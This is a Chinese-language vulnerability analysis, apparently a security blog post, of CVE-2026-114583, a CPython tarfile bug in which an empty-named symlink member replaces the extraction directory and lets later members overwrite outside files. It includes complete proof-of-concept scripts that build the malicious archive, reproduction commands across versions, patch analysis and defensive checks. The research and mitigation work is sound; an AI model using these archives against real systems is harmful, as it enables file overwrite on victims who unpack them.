CVE-2026-114583:CPython tarfile 空名符号链接绕过解包目录
解包一个看起来完全正常的 tar,解完之后目标目录本身变成了一条指向别处的符号链接,归档里那个普普通通的 txt 文件落在了目录之外,把外部同名文件覆盖掉。全程没有报错,extractall() 正常 2026-11-6 15:8:28 Author: xz.aliyun.com(查看原文) 阅读量:1 收藏

解包一个看起来完全正常的 tar,解完之后目标目录本身变成了一条指向别处的符号链接,归档里那个普普通通的 txt 文件落在了目录之外,把外部同名文件覆盖掉。全程没有报错,extractall() 正常返回。

凑齐这条链只需要两样东西:一条名字是空串的符号链接,加一个普通文件成员。

CPython 的 tarfile 从 3.12 起提供三档过滤器,fully_trusted 什么都不查,tar 查结构性越界,data 在 tar 之上再剥掉危险元数据,3.14.0 起默认走 data。CVE-2026-114583 打穿的就是这道阀,而且穿得极不对称:3.13.12 和 3.13.13 四档全失,3.13.14 起 data 能挡但 tar 漏,3.13.18 把 tar 补上了而默认档照旧中招,3.14.9 反过来默认安全、显式写 tar 仍然漏。

CVE-2026-114583 · cve.org(CNA python.org,PUBLISHED 2026-10-22T20:57Z)|NVD|CPython 文档 · tarfile Extraction filters

更麻烦的是它修完之后的样子。3.13.18 确实发了补丁,但只要代码沿用 extractall(dest) 这种最常见写法,PoC 照样百分百成功。补丁存在,只是默认调用路径根本不经过它。

修复版本发布说明:Python 3.13.18|Python 3.14.10

漏洞现象:解包后目标目录被替换成符号链接

整条攻击链只有四步,每一步都很平淡,合起来才构成越界。

被换掉的不是某个文件,而是解包的根目录本身。一旦 dest 变成链接,后续每一个在字面上合法的 dest/xxx 路径,都会被内核解析到外部去。

环境搭建:四个 CPython 版本并存

复现需要能在同一台机器上并存几个小版本,方便在打穿版本和拦截版本之间来回对照。

# 装 uv,它只负责拉取解释器,不参与解包
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"        # 让 uv 在当前 shell 立即可用

# 拉四个小版本:两个尚未修复完的、两个修复版
uv python install 3.13.17 3.13.18 3.14.9 3.14.10
ls -d ~/.local/share/uv/python/*/            # 确认目录名,下面拼绝对路径要用

其中 cpython-3.13 和 cpython-3.14 是 uv 生成的别名,指向具体的补丁版本。后面统一用绝对路径调用,避开 PATH 干扰:

# 四个解释器的绝对路径,后文所有命令一律用这些变量调用
PY31317=~/.local/share/uv/python/cpython-3.13.17-linux-x86_64-gnu/bin/python3
PY31318=~/.local/share/uv/python/cpython-3.13.18-linux-x86_64-gnu/bin/python3
PY31409=~/.local/share/uv/python/cpython-3.14.9-linux-x86_64-gnu/bin/python3
PY31410=~/.local/share/uv/python/cpython-3.14.10-linux-x86_64-gnu/bin/python3

漏洞复现:一份两成员归档打穿 extractall

归档也不用真实打包工具生成,tarfile 自己写两个成员即可。

脚本 cve-2026-114583-poc.py 同时干三件事:造归档、解包、验证结果。

#!/usr/bin/env python3

import io
import os
import sys
import tarfile
import tempfile

EVIL_NAME = "secret.txt"       # 第二个成员的文件名,最终落点由 dest 是否被换成链接决定
ATTACK_BODY = b"ATTACKED\n"    # 攻击者要写进外部文件的内容
VICTIM_BODY = "ORIGINAL\n"     # 外部文件的原始内容,用来判断有没有被改写


def build_evil_tar(tar_path):
    """造 evil.tar:一条空名符号链接 + 一个普通文件,顺序不能颠倒。"""
    # 成员 1:name 为空串的符号链接,linkname 指向与 dest 同级的 outside
    link = tarfile.TarInfo(name="")
    link.type = tarfile.SYMTYPE
    link.linkname = "outside"
    link.mode = 0o777
    link.size = 0

    # 成员 2:普通文件,解包时顺着已经被换成链接的 dest 写到外部
    regular = tarfile.TarInfo(name=EVIL_NAME)
    regular.type = tarfile.REGTYPE
    regular.mode = 0o644
    regular.size = len(ATTACK_BODY)

    with tarfile.open(tar_path, "w") as tf:
        tf.addfile(link)
        tf.addfile(regular, io.BytesIO(ATTACK_BODY))


def prepare_workspace():
    """备三个路径:临时根目录、待解包的 dest(故意不创建)、受害者目录 outside。"""
    work = tempfile.mkdtemp(prefix="cve114583_")
    dest = os.path.join(work, "dest")        # 关键前提:dest 事先不存在
    outside = os.path.join(work, "outside")
    os.makedirs(outside)
    victim = os.path.join(outside, EVIL_NAME)
    with open(victim, "w", encoding="utf-8") as f:
        f.write(VICTIM_BODY)
    return work, dest, victim


def unpack(tar_path, dest, flt):
    """按指定过滤器解包;flt 为 None 时不传参数,落到该版本的默认过滤器。"""
    with tarfile.open(tar_path) as tf:
        if flt is None:
            tf.extractall(dest)
        else:
            tf.extractall(dest, filter=flt)


def report(dest, victim):
    """解包后只查两件事:dest 是不是链接、外部文件内容有没有变。"""
    if os.path.islink(dest):
        print("[+] dest is now a symlink -> %s" % os.readlink(dest))
    else:
        print("[-] dest is not a symlink")
    with open(victim, encoding="utf-8") as f:
        print("[*] outside/%s = %r" % (EVIL_NAME, f.read()))


def main():
    flt = sys.argv[1] if len(sys.argv) > 1 else None
    print("[*] python %s | filter=%s"
          % (sys.version.split()[0], flt if flt else "<default>"))

    work, dest, victim = prepare_workspace()
    tar_path = os.path.join(work, "evil.tar")
    build_evil_tar(tar_path)

    try:
        unpack(tar_path, dest, flt)
        print("[*] extractall() returned normally")
    except Exception as exc:        # 被修复版本拦下时走这里,异常名即拦点
        print("[!] extractall() raised %s: %s" % (type(exc).__name__, exc))

    report(dest, victim)


if __name__ == "__main__":
    main()

dest 只拼路径不创建,outside 预先写入 ORIGINAL 当作受害者文件,两个成员分别满足"空名符号链接"和"后续普通文件"。条件就这样凑齐了。

先在与修复同分支的 3.13.17 上跑最普通的调用,不传 filter:

$PY31317 cve-2026-114583-poc.py

extractall() 正常返回,没抛任何异常,dest 已经是指向 outside 的符号链接,外部文件从 ORIGINAL 变成了 ATTACKED。stderr 会多一条说 3.14 将改默认过滤器的 DeprecationWarning,指向 tf.extractall(dest) 那一行,不影响结果。

换到修复版本的 3.13.18,命令一字不改:

$PY31318 cve-2026-114583-poc.py

一模一样。这里先记住现象,原因在后面。

再看 3.14.10,同样是修复版本,但 3.14 线默认过滤器已经换成 data:

$PY31410 cve-2026-114583-poc.py

异常信息里的 '' 就是被拒的空名成员,would be extracted to '.../dest' 正好点出了接下来要解释的事:一个空名字,被解析成了目标目录本身。

根因一:空文件名坍缩成目标目录,链接趁机替换目录

一个空串怎么会作用到 dest 上?三段代码串起来看就清楚了。

成员落到磁盘的起点是 tarfile.py 里的 _extract_one(),它拼路径的方式非常朴素,直接 join:

2523|     def _extract_one(self, tarinfo, path, set_attrs, numeric_owner,
2524|                      filter_function=None):
...
2533|             self._extract_member(tarinfo, os.path.join(path, tarinfo.name),
2534|                                  set_attrs=set_attrs,
2535|                                  numeric_owner=numeric_owner,
2536|                                  filter_function=filter_function,
2537|                                  extraction_root=path)

tarinfo.name 是空串时,os.path.join('/tmp/x/dest', '') 得到的是 '/tmp/x/dest/',末尾多一个分隔符。进入 _extract_member() 的第一件事就是把这个尾巴削掉:

2606|         targetpath = targetpath.rstrip("/")
2607|         targetpath = targetpath.replace("/", os.sep)

到这一步,空名成员的目标路径和目标目录已经完全重合。

剩下的部分按成员类型分派。符号链接走到 makelink_with_filter():

2616|         if tarinfo.islnk() or tarinfo.issym():
2617|             self._dbg(1, "%s -> %s" % (tarinfo.name, tarinfo.linkname))
...
2629|         elif tarinfo.islnk() or tarinfo.issym():
2630|             self.makelink_with_filter(
2631|                 tarinfo, targetpath,
2632|                 filter_function=filter_function,
2633|                 extraction_root=extraction_root)

而 makelink_with_filter() 的符号链接分支,是先删后建:

2718|     def makelink_with_filter(self, tarinfo, targetpath,
2719|                              filter_function, extraction_root):
...
2728|         try:
2729|             # For systems that support symbolic and hard links.
2730|             if tarinfo.issym():
2731|                 if os.path.lexists(targetpath):
2732|                     # Avoid FileExistsError on following os.symlink.
2733|                     os.unlink(targetpath)
2734|                 os.symlink(tarinfo.linkname, targetpath)
2735|                 return

那句注释把动机写得很坦白:os.unlink() 是为了避免后面的 os.symlink() 撞上 FileExistsError。它的隐含假设是 targetpath 是一个已存在的文件,删掉重建链接是常规操作。

如果 targetpath 是个目录呢?当 dest 不存在时,连"已存在"都不成立——lexists 返回假,unlink 被跳过,os.symlink('outside', '/tmp/x/dest') 直接成功。目标目录就此变成一条链接。

后面的事顺理成章。第二个成员 secret.txt 解包时,os.path.join(path, 'secret.txt') 得到 /tmp/x/dest/secret.txt,字面上老老实实待在 dest 里面,任何检查都会放行。可 dest 已经是链接,内核解析这个路径时会跟过去,最终落到 /tmp/x/outside/secret.txt。

所谓"绕过",绕的不是某一条规则,而是把被检查的那个目录本身给换掉了,让后面所有检查都在错误的前提下运行。

根因二:越界检查被写在 for_data 分支里

3.13.18 上默认档仍然中招,问题不在补丁本身写错了,而在补丁所在的那段代码压根没被执行到。一个正确的检查,被写进了错误的作用域。

先看 _get_filtered_attrs() 开头。它先做基础检查,然后用 commonpath 判断目标路径有没有逃出 dest:

 798| def _get_filtered_attrs(member, dest_path, for_data=True):
 799|     new_attrs = {}
 800|     name = member.name
 801|     dest_path = os.path.realpath(dest_path, strict=os.ALLOW_MISSING)
...
 818|     target_path = os.path.realpath(os.path.join(dest_path, name),
 819|                                    strict=os.ALLOW_MISSING)
 820|     if os.path.commonpath([target_path, dest_path]) != dest_path:
 821|         raise OutsideDestinationError(member, target_path)

name 为空时 target_path 正好等于 dest_path,commonpath 相等,检查通过。这在设计上是合理的,因为这条检查只回答一个问题——路径有没有跑到外面去。空名没有跑到外面,它就地落在了根上。

真正的防线在下面,但被包在 if for_data: 里:

 843|     if for_data:
 844|         # Ignore ownership for 'data'
...
 853|         # Check link destination for 'data'
 854|         if member.islnk() or member.issym():
 855|             if os.path.isabs(member.linkname):
 856|                 raise AbsoluteLinkError(member)
 857|             # A link member that resolves to the destination directory itself
 858|             # would replace it with a (sym)link, redirecting the destination
 859|             # for all subsequent members.
 860|             if target_path == dest_path:
 861|                 raise OutsideDestinationError(member, target_path)

v3.13.17 Lib/tarfile.py L843–L861

857 到 859 行那段注释,几乎逐字描述了前面那条链,威胁模型认得清清楚楚。但 if for_data: 这一层把这条防线圈在了 data 过滤器内部。

回想过滤器怎么分派的:

tar_filter 传的是 False,843 行整块跳过,860 行那条检查一次都不会跑。这就是"filter='tar' 中招、filter='data' 拦住"的全部答案。

修复分析:3.13.18 把检查提到公共段并换了判断方式

把修复历史摊开看,这条防线是一步步补起来的,而且每个版本的缺口都不一样。

上游记录:Issue gh-160097|PR gh-160098|修复 commit e7e0b3523a

3.13.12 的情况最出乎意料。对它的 tarfile.py 搜索 target_path == dest_path,结果是零命中:

grep -c 'target_path == dest_path' tarfile_3.13.12_debian.py
0

也就是说 857 到 861 行那段逻辑,在 3.13.12 里根本还不存在,链接检查只剩 commonpath 那一层。所以这个版本上连显式 filter='data' 都会被穿。3.13.13 的 tarfile.py 同样零命中,实测四档全穿;第一次出现这段逻辑的是 3.13.14,if target_path == dest_path: 落在 825 行。"data 过滤器安全"这句话,只在 3.13.14 及之后的版本上成立。

v3.13.12 tarfile.py|v3.13.14 首次出现的 L825

3.13.18 的修法是把检查整个搬出 for_data 分支,挪到 commonpath 之后成为无条件执行的公共检查,同时改掉了判断方式:

 818|     target_path = os.path.realpath(os.path.join(dest_path, name),
 819|                                    strict=os.ALLOW_MISSING)
 820|     if os.path.commonpath([target_path, dest_path]) != dest_path:
 821|         raise OutsideDestinationError(member, target_path)
 822|     # A link member named after the destination directory itself
 823|     # would replace it with a (sym)link, redirecting the destination
 824|     # for all subsequent members.
 825|     if ((member.islnk() or member.issym())
 826|             and os.path.normpath(name) == os.curdir):
 827|         raise OutsideDestinationError(member, target_path)

v3.13.18 Lib/tarfile.py L818–L827

判断方式也一并换了,从 target_path == dest_path 变成 os.path.normpath(name) == os.curdir:

  • 旧写法比的是解析后的绝对路径:realpath(join(dest_path, name), strict=ALLOW_MISSING) 与 dest_path。

  • 新写法直接看成员名规范化后是不是 .。空串经 normpath() 得到 '.',与 os.curdir 相等,命中即拒。这个判断与文件系统状态无关,dest 存不存在都不影响结论。

同一份归档、同一个 filter='data',只换 extractall() 传入的路径:

for label, fmt in [("dest 不存在", "dest"), ("dest 带尾斜杠", "./dest/"),
                   ("相对路径 .", "."), ("深层不存在 a/b/dest", "a/b/dest")]:
    case(label, fmt)          # case() 里调 tf.extractall(fmt, filter="data")
########## 3.13.17 ##########
dest 不存在            dest         -> 拦截 OutsideDestinationError | secret=ORIGINAL
dest 带尾斜杠          ./dest/      -> 拦截 OutsideDestinationError | secret=ORIGINAL
相对路径 .             .            -> 拦截 OutsideDestinationError | secret=ORIGINAL
深层不存在 a/b/dest    a/b/dest     -> 拦截 OutsideDestinationError | secret=ORIGINAL
########## 3.13.18 ##########
dest 不存在            dest         -> 拦截 OutsideDestinationError | secret=ORIGINAL
dest 带尾斜杠          ./dest/      -> 拦截 OutsideDestinationError | secret=ORIGINAL
相对路径 .             .            -> 拦截 OutsideDestinationError | secret=ORIGINAL
深层不存在 a/b/dest    a/b/dest     -> 拦截 OutsideDestinationError | secret=ORIGINAL

所以 3.13.18 换判断方式这件事,实测看不到行为差异:四种 dest 形式下 3.13.17 的旧检查也在抛异常。真正的变化是检查从 for_data 分支搬到了公共路径上,tar 和 fully_trusted 从此也经过它。新写法的好处是结果不再依赖 realpath 怎么解析,这一点是读代码得出的,实测里没有触发过差异。

3.13.17 到 3.13.18 的改动,用 diff -u 看只有两处,新增六行、删除六行,净变化为零:

diff -u tarfile_3.13.17.py tarfile_3.13.18.py

一个纯粹的作用域调整。3.14 线修的是同一处,只是行号整体后移十几行:

diff -u tarfile_3.14.9.py tarfile_3.14.10.py

v3.14.9 L873–L876|v3.14.10 L838–L843

3.14.10 还顺带改了 getmember() 里对末尾斜杠的处理,属于同一个 PR 的配套改动:

v3.14.9 L2197|v3.14.10 L2198

原来不管三七二十一先剥掉末尾斜杠,导致归档里真实存在的 "dir/" 成员按名字查不到;改完之后先按原名查,查不到再退化。这处与本漏洞没有直接因果,和前面 rstrip("/") 那处一样,动的都是成员名与末尾分隔符的匹配。

修复不彻底:3.13.18 默认调用仍然中招

3.13.18 确实把 tar 分支补上了。但 3.13 线的默认过滤器仍然是 fully_trusted,而这个过滤器在 tarfile.py 里只有一行:

def fully_trusted_filter(member, dest_path):
    return member

v3.13.18 fully_trusted_filter L880–L881

它压根不调用 _get_filtered_attrs(),自然也走不到新增的那段检查(825 至 827 行)。于是形成一个很别扭的局面:同一个 3.13.18 解释器,传 filter='tar' 能拦住,什么都不传就被穿。

"升级到官方修复版本"和"我的代码被修复了",是两个不同的命题。补丁只有在调用方显式传 filter= 时才进入执行路径,而 extractall(dest) 这种不带 filter 的写法走的是另一条分支:

with tarfile.open(path) as tf:
    tf.extractall(dest)          # 3.13.18 上依然中招

3.14 线把默认值从"不过滤"改成了 data。3.14.0 的 _get_filter_function() 里,filter is None 时直接返回 data_filter;3.13.17 和 3.13.18 在同一位置仍是告警后返回 fully_trusted_filter,告警文案写的是"Python 3.14 will, by default, filter extracted tar archives"。默认值切换确实把补丁从"可选生效"推成了"默认生效"。

v3.14.0 L2371–L2374

但切换本身不解决问题。3.14.0 的默认值是 data,可 3.14.0 的 data 分支里没有那段检查,默认档照样被穿——这一行在下面的对照表里。检查是到 3.14.6 才进 data 分支的,3.14.0 到 3.14.5 的 tarfile.py 里都搜不到 target_path == dest_path。所以在 3.14 线上,"默认值安全"和"默认档安全"隔了五个小版本。

v3.14.6 L833–L836 首次进入 data 分支

影响范围:十个版本、四档过滤器的实测结果

同一台机器、同一份 cve-2026-114583-poc.py、同一条命令模板,只换解释器和 filter 参数。判定标准统一为 outside/secret.txt 是否被改写成 ATTACKED:

版本

默认

data

tar

fully_trusted

3.13.12

中招

中招

中招

中招

3.13.13

中招

中招

中招

中招

3.13.14

中招

拦截

中招

中招

3.13.15

中招

拦截

中招

中招

3.13.16

中招

拦截

中招

中招

3.13.17

中招

拦截

中招

中招

3.13.18

中招

拦截

拦截

中招

3.14.0

中招

中招

中招

中招

3.14.9

拦截

拦截

中招

中招

3.14.10

拦截

拦截

拦截

中招

  • 3.13.12 和 3.13.13 两行最需要停下来看。3.13.12 正是这台机器上 Kali rolling 装着的 python3,因为压根没有那项检查,四档全穿,连 data 都白给。3.13.13 的 tarfile.py 里同样搜不到那段逻辑,实测四档全穿。大量拿 filter='data' 当安全兜底的应用,落在这两个版本上等于没兜。

  • 3.13.14 出现第一次分化。检查加进去了,但位置在 for_data 分支内,于是 data 拦得住、tar 放行。检查上方的注释写得很明确:A link member that resolves to the destination directory itself would replace it with a (sym)link, redirecting the destination for all subsequent members. 要防的东西写对了,位置却锁在 for_data 里。3.13.15、3.13.16、3.13.17 一路下来都是这个形态,检查在文件里的行号依次是 853、860、860,位置始终在 for_data 分支内,一次都没往外挪。

  • 3.13.18 修了 tar,默认档还是中招,因为默认走 fully_trusted。这是最容易被误判的一格:升级动作做了,版本号看着也是修复版,风险一点没变。

  • 3.14.0 这一行看着矛盾:默认值已经是 data,默认档却还是中招。原因在源码里——3.14.0 的 data_filter() 中没有那段检查,显式传 filter='data' 同样被穿。默认值切换只是把补丁的入口接通了,补丁本体是到 3.14.6 才写进 data_filter() 的。

  • 3.14.9 呈现镜像形态。默认档安全了,显式 tar 还漏。它和 3.13.17 正好互补,一个默认不漏而显式漏,一个默认就漏。

  • 3.14.10 三档全封。

fully_trusted 那一列十版全中,这不是漏洞,是语义:它的定义就是"完全信任归档,不做任何改写",等于把安全阀焊死在开启位置。

攻击面迁移:shutil 与命令行同样中招

除了直接调 tarfile.extractall(),还有两条上层路径:shutil.unpack_archive() 和命令行 python -m tarfile。

上层接口单独一个脚本:cve-2026-114583-shutil-probe.py,归档构造与主 PoC 一致,只把解包动作换成一行 shutil.unpack_archive()。整个脚本里没有任何地方能填入 filter。

#!/usr/bin/env python3

import io
import os
import shutil
import sys
import tarfile
import tempfile

ATTACK_BODY = b"ATTACKED\n"     # 攻击者要写进外部文件的内容
VICTIM_BODY = "ORIGINAL\n"      # 外部文件的原始内容,用来判断有没有被改写


def build_evil_tar(tar_path):
    """与主 PoC 相同的两成员归档:空名符号链接在前,普通文件在后。"""
    link = tarfile.TarInfo(name="")
    link.type = tarfile.SYMTYPE
    link.linkname = "outside"
    link.mode = 0o777
    link.size = 0

    regular = tarfile.TarInfo(name="secret.txt")
    regular.type = tarfile.REGTYPE
    regular.mode = 0o644
    regular.size = len(ATTACK_BODY)

    with tarfile.open(tar_path, "w") as tf:
        tf.addfile(link)
        tf.addfile(regular, io.BytesIO(ATTACK_BODY))


def main():
    print("[*] python %s | shutil.unpack_archive" % sys.version.split()[0])

    work = tempfile.mkdtemp(prefix="cve114583_up_")
    dest = os.path.join(work, "dest")        # 同样不预先创建
    outside = os.path.join(work, "outside")
    os.makedirs(outside)
    victim = os.path.join(outside, "secret.txt")
    with open(victim, "w", encoding="utf-8") as f:
        f.write(VICTIM_BODY)

    tar_path = os.path.join(work, "evil.tar")
    build_evil_tar(tar_path)

    # 一行调用,没有任何 filter 可填
    try:
        shutil.unpack_archive(tar_path, dest)
        print("[*] shutil.unpack_archive() returned normally")
    except Exception as exc:
        print("[!] shutil.unpack_archive() raised %s: %s" % (type(exc).__name__, exc))

    print("[%s] dest is symlink: %s"
          % ("+" if os.path.islink(dest) else "-", os.path.islink(dest)))
    with open(victim, encoding="utf-8") as f:
        print("[*] outside/secret.txt = %r" % f.read())


if __name__ == "__main__":
    main()

三个版本各跑一次,命令只换解释器:

$PY31317 cve-2026-114583-shutil-probe.py
$PY31318 cve-2026-114583-shutil-probe.py
$PY31410 cve-2026-114583-shutil-probe.py

三次实测都落在上面那张版本对照表里默认那一列:3.13.17 和 3.13.18 被穿,3.14.10 拦住。shutil.unpack_archive() 没有 filter 参数可填,调用方连选择的余地都没有——用这个函数封装的解包逻辑,安全性完全由解释器版本决定。

命令行这边用同一个归档,进到 PoC 留下的工作目录直接跑。先看 3.13.18:

WORK=$(ls -dt /tmp/cve114583_*/ | head -1)  # 按时间取最近一次留下的工作目录,evil.tar 就在里面
cd "$WORK"
rm -rf dest                                 
$PY31318 -W ignore -m tarfile -e evil.tar dest
readlink dest; cat outside/secret.txt

换成 3.13.17 跑同一组命令,输出逐字相同。再看 3.14.10:

rm -rf dest
printf 'ORIGINAL\n' > outside/secret.txt     # 复位受害者文件
$PY31410 -W ignore -m tarfile -e evil.tar dest >/dev/null 2>&1; echo "exit_code=$?"
[ -L dest ] || echo "dest untouched"
cat outside/secret.txt

3.13 线上是静默成功。任何用 subprocess 调 python -m tarfile 做批量解包、再拿退出码判断成败的脚本,在 3.13 线上都没法感知攻击发生过。

CLI 的调用点在 tarfile.py 的 _main() 里,参数是老老实实透传下去的:

tf.extractall(path=curdir, filter=args.filter)

问题不在 CLI 漏传,而在于 args.filter 默认是 None,最终仍然落到"该版本的默认过滤器"上,在 3.13 线就是 fully_trusted。

实现对比:GNU tar 在同一份归档上失败退出

同一份 evil.tar 交给 GNU tar 1.35:

tar --version | head -1
cd "$WORK"                                   # 与上一步同一个工作目录
mkdir -p gdest
tar -xf evil.tar -C gdest; echo "exit_code=$?"

GNU tar 把空名规范化成了 .,尝试创建链接时撞上"已存在",直接报错退出,外部文件一个字没动。归档里那个普通成员 secret.txt 倒是正常解出来了,落在 gdest 里。

有意思的地方在于,两个实现对空名的规范化结果其实是同一个路径——'.' 和 dest 指向同一处。不一样的地方只出现在"目标已存在"时怎么处理:GNU tar 撞到已存在的 . 就失败退出,CPython 则用 os.unlink() 先把占位清掉再建链接。

还是那句注释在起作用——"Avoid FileExistsError on following os.symlink"。makelink_with_filter() 为了让 os.symlink() 不撞上 FileExistsError,会先 os.unlink() 掉既有目标;这一步没有任何类型约束,目标是个目录时照样执行,dest 就此变成链接。

所以这不是 tar 格式的固有问题,而是特定实现里一个具体删除策略的后果。同一份归档,GNU tar 的失败是安全的失败,CPython 的成功是不安全的成功。

GNU tar 手册(成员名规范化与覆盖策略)

发行版现状:仓库里的版本离修复还差几个补丁

漏洞修没修上,取决于发行版把哪个小版本编进了仓库。实测这台 Kali rolling:

apt-cache policy python3.13 python3.14 python3

已装的 python3.13 是 3.13.12-1,四档全穿。候选是 3.13.15-1,还在受影响区间里——这时候执行 apt upgrade,升完照样中招。python3 的候选 3.14.7-3 同样早于修复版 3.14.10。

python3 那一行别被版本号带偏:已装的 3.13.9-3 是元包自己的版本,不是解释器版本。/usr/bin/python3 是软链到 python3.13 的,跑起来报的是 Python 3.13.12,前面 3.13.12 那一格实测的就是它:

readlink -f /usr/bin/python3      # /usr/bin/python3.13
/usr/bin/python3 -V               # Python 3.13.12

对这类漏洞,唯一能在版本升级滞后时还生效的防护,是在应用层显式写 filter='data';而这条防护自己也有前提,见前面 3.13.12 那一格。

修复建议:显式指定 filter 并守住版本下限

代码层最直接的一条:所有解包调用显式指定过滤器,不依赖默认值。

import tarfile

# 唯一改动:显式传 filter='data',不再依赖版本默认值
with tarfile.open(path) as tf:
    tf.extractall(dest, filter='data')

shutil.unpack_archive() 没有 filter 参数,需要改成直调 extractall(),或者换用带安全策略的解包库。

filter='fully_trusted' 应当从代码库里彻底清掉。它的语义就是把全部防护关掉,正确做法是改成 data,然后处理因元数据剥离而变化的业务逻辑。

版本下限要注意:filter='data' 本身也不是万能兜底。3.13.12 和 3.13.13 的 data 分支同样缺那项检查,实测四档全穿,3.13.14 才第一次拦得住空名成员。要把 tar 那道缺口也补掉,得升到 3.13.18 或 3.14.10。

归档层再加一道,抽成一个独立模块 tar_member_guard.py,不依赖解释器版本:解包前先把成员名扫一遍,拒掉空名和规范化后为 . 的成员。

#!/usr/bin/env python3
"""tar 成员名校验:解包前拒掉空名与规范化后为 '.' 的成员

不依赖解释器版本,作为 filter='data' 之外的第二道。
用法: from tar_member_guard import reject_dest_overwrite
"""
import os
import tarfile


def reject_dest_overwrite(tar_path):
    """成员名规范化后等于当前目录时直接拒绝,这类成员会把 dest 本身换成链接。"""
    with tarfile.open(tar_path) as tf:
        for member in tf.getmembers():
            if os.path.normpath(member.name) == os.curdir:
                raise ValueError("suspicious member name: %r" % member.name)

三个版本各跑一次,bad.tar 就是前面那个归档,ok.tar 里只有一个普通成员 a/b.txt:

for PY in /usr/bin/python3 $PY31317 $PY31410; do
  echo "== $("$PY" -V 2>&1)"
  "$PY" - <<'EOF'
from tar_member_guard import reject_dest_overwrite

for path in ("bad.tar", "ok.tar"):
    try:
        reject_dest_overwrite(path)
        print("[+] %s 放行" % path)
    except ValueError as exc:
        print("[+] %s 被拒: %s" % (path, exc))
EOF
done

这一层只认成员名,三个版本表现一致,和解释器无关。

运行环境也需要兜一层。解包进程用低权限账户,目标目录不要放在敏感路径之上;处理不可信归档时放进一次性容器或 tmpfs,和外部目录做挂载隔离,即便 dest 被换成指向外部的链接,能指到的范围也被沙箱限住。

最后是审计。3.13 线上的攻击不产生任何异常,只能靠主动校验发现:记录每次解包前后的 dest 类型,也就是 os.path.islink(dest),再留一份归档成员清单。这个成本很低,但它是唯一能在日志里留下痕迹的办法。

想确认自己环境是哪种状态,比一下检查的位置就行:

for v in 3.13.17 3.13.18 3.14.9 3.14.10; do
  PY=$HOME/.local/share/uv/python/cpython-$v-linux-x86_64-gnu/bin/python3
  f=$("$PY" -c 'import tarfile,inspect;print(inspect.getsourcefile(tarfile))')   # 让该版本自己报出 tarfile.py 在哪
  echo "== $v"
  echo -n "target_path == dest_path        : "; grep -n 'target_path == dest_path' "$f" || echo "无此检查"
  echo -n "normpath(name) == os.curdir     : "; grep -n 'normpath(name) == os.curdir' "$f" || echo "无此检查"
done

上面四个版本是本地装着解释器直接核的。3.14.6 到 3.14.8 没装,行号对着 tag 里的 tarfile.py 核,同样不用装解释器:

for v in 3.14.6 3.14.7 3.14.8; do
  f=/tmp/gh_$v.py
  rm -f "$f"
  curl -sSL --retry 3 --retry-delay 2 -o "$f" https://raw.githubusercontent.com/python/cpython/v$v/Lib/tarfile.py
  if [ ! -s "$f" ] || ! python3 -c "import py_compile;py_compile.compile('$f',doraise=True)" 2>/dev/null; then
    echo "$v 下载不完整,跳过"; continue
  fi
  echo -n "$v: "; grep -n 'target_path == dest_path' "$f" || echo "无此检查"
done

v3.14.6 L836|v3.14.7 L864|v3.14.8 L871|v3.14.9 L876

命中 target_path == dest_path 的,说明检查还锁在 for_data 分支里,data 挡得住而 tar 有缺口。3.13.14 到 3.13.17、3.14.6 到 3.14.9 都属于这一类,行号随版本往后挪:3.13 线从 825 排到 860,3.14 线从 836 排到 876:3.14.6 落在 836、3.14.7 落在 864、3.14.8 落在 871、3.14.9 落在 876。换成 normpath(name) == os.curdir 那个形态才算真修好,3.13.18 落在 826 行、3.14.10 落在 842 行。两条都搜不到,就是 3.13.12 和 3.13.13 那种一点防护都没有的状态。

v3.13.14 L825|v3.13.17 L860|v3.14.9 L876

总结

整件事的技术内容可以压成一句话:一个正确的检查被写进了 if for_data: 里面,于是"空名 + 符号链接"两样东西就足以让 tar 过滤器彻底失效,并把目标目录本身换成通往外部的中转站。

真正需要记住的是另外两件事。

  • 一是修复版本和修复生效之间有一段落差。3.13.18 打了补丁,默认调用却根本不经过补丁所在的代码。只改版本号不改代码,等于没修。

  • 二是同一份归档在不同版本、不同 filter 下的行为并不单调。3.13.17 的 data 安全而 tar 不安全,3.14.9 的默认安全而显式 tar 不安全,3.13.12 和 3.13.13 四档全失。"加了 filter 所以安全"这类判断,必须落到"哪个版本 + 哪个 filter"这个二维坐标上才成立。

如果只带走一条行动项:把所有 extractall 改成显式 filter='data',确认运行版本不低于 3.13.14,彻底修复要 3.13.18 或 3.14.10,别再用 fully_trusted 去消警告。


文章来源: https://xz.aliyun.com/news/93193
如有侵权请联系:admin#unsafe.sh